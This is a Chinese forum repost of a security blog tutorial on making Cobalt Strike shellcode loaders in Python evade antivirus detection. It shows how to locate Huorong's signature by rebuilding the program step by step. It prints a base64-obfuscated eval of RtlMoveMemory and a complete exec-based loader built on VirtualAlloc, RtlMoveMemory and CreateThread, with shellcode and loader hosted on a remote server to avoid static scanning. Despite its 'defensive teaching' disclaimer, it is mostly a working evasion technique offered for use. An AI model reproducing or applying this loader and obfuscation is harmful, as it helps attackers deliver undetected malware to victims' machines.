社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

【超详细 | Python】CS免杀-分离+混淆免杀思路

渗透Xiao白帽 • 4 年前 • 898 次点击  

一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚

混淆语句+分离免杀

特征码
杀软的静态扫描,基本是按照匹配特征码,根据哈希算法从病毒体中提取的病毒特征码,逐个与程序文件的md5比较。
但是呢程序的内容只要稍微微改动一点,md5值就会改变

所以杀软还有一种方法是通过模糊哈希算法 ,找出一段不会改变的程序作为特征码,匹配这段程序的就当木马病毒处理
loader加载器


这是网上python通用的shellcode loader
加载器原理请看这CS免杀-Shellcode Loader原理(python)
这个加载器我先将shellcode进行hex和base64编码分离放在了服务器端,所以静态查杀只查loader部分
接下来就通过单步走找出特征码
我使用的pyinstaller将程序打包成exe
pyinstaller --noconsole --onefile test.py
上面加载器没任何处理,进行打包是会被火绒查杀的

单步查杀
我们将第一条语句留着,其他的全部删除,打包exe发现没有查杀

然后每次打包增加一条语句,直到发现进行了查杀

该语句删除,其他的全部打包,发现不报病毒了

找到特征码
到这我们可以确定,这段代码中包含着火绒的特征码
这是调用win的操作内存的语句
ctypes.windll.kernel32.RtlMoveMemory(          ctypes.c_int(ptr),          buf,          ctypes.c_int(len(shellcode)))
根据模糊哈希的意思呢,这个语句md5应该不会变,可这后面参数想咋变就咋变啊。

深入研究发现,特征码原来在前面,只要有RltMoveMemory这段字符就会查杀
所以确定RltMoveMemory这段字符就是特征码
知道了特征码是啥,那就将它进行处理

混淆语句
有两种思路,一是换一个可以达到相同效果的函数,但我没找到,RltCopyMemory也会被查杀

另一种思路就是该字符明面上不出现在语句当中
直接将整个语句加密,用evalexec函数运行
将上面语句base64转码,eval运行解码的语句
string = '''Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=='''eval(base64.b64decode(string))
明面上没有特征码了,所以就绕过火绒了
这里的话基本是够用了。



但是!!


既然shellcode能放在服务器上,那我们的loader 是否也可以尝试一下。。

这里eval函数不够用了,只能运行一条语句
换成exec函数,可以将Python代码用分号;连接起来运行
a = '''ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64;ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40));buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)));handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))'''
exec(a)
尝试可行
进行base64编码,放在我的服务器2.txt文件中
最后查杀代码部分就剩这点了


只要你服务器不被标记恶意主机
今就是天王老子来了也不敢说他是木马!!

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

记一次HW实战笔记 | 艰难的提权爬坑

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

走过路过的大佬们留个关注再走呗

往期文章有彩蛋哦


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/107433
 
898 次点击